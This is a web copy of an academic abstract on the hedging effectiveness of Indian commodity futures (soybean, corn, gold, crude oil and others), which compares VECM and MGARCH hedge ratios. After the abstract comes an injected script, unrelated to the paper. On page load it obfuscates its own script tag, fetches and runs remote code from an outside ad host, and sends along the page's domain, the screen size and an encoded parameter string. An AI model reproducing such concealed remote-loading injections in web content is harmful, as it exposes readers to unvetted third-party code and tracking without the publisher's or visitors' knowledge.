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This &nbsp;paper &nbsp;examines &nbsp;hedging &nbsp;effectiveness &nbsp;of &nbsp;four &nbsp;agricultural &nbsp;(soybean, &nbsp;corn, &nbsp;castor&nbsp;seed and guar seed) and seven non-agricultural (gold, silver, aluminium, copper, zinc, crude&nbsp;oil &nbsp;and, &nbsp;natural &nbsp;gas) &nbsp;futures &nbsp;contracts &nbsp;traded &nbsp;in &nbsp;India, &nbsp;using &nbsp;VECM &nbsp;and &nbsp;CCC-MGARCH&nbsp;model to estimate constant hedge ratio and dynamic hedge ratios, respectively. We ind that&nbsp;agricultural &nbsp;futures &nbsp;contracts &nbsp;provide &nbsp;higher &nbsp;hedging &nbsp;effectiveness &nbsp;(30-70%) &nbsp;as &nbsp;compared&nbsp;to &nbsp;non-agricultural &nbsp;futures &nbsp;(20%). &nbsp;In &nbsp;the &nbsp;more &nbsp;recent &nbsp;period, &nbsp;the &nbsp;hedging &nbsp;effectiveness &nbsp;of&nbsp;Indian futures markets has increased. When hedging effectiveness of non-agricultural Indian&nbsp;futures &nbsp;contracts &nbsp;with &nbsp;the &nbsp;world &nbsp;spot &nbsp;markets &nbsp;(NYMEX &nbsp;and &nbsp;LME) &nbsp;is &nbsp;analyzed, &nbsp;hedging&nbsp;effectiveness &nbsp;increases &nbsp;dramatically &nbsp;which &nbsp;indicates &nbsp;the &nbsp;fact &nbsp;that &nbsp;Indian &nbsp;futures &nbsp;contracts&nbsp;are more effective for hedging exposures to global prices. Other reasons of lower hedging&nbsp;effectiveness &nbsp;of &nbsp;Indian &nbsp;futures &nbsp;contracts &nbsp;may &nbsp;be &nbsp;low &nbsp;awareness &nbsp;of &nbsp;futures &nbsp;markets &nbsp;among&nbsp;participants, &nbsp;high &nbsp;transaction &nbsp;costs &nbsp;in &nbsp;the &nbsp;futures &nbsp;markets, &nbsp;policy &nbsp;restrictions, &nbsp;inadequate&nbsp;contract design, or high transaction costs in the spot market. These are, of course, expected&nbsp;birth pays for a nascent futures markets in an emerging economy.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>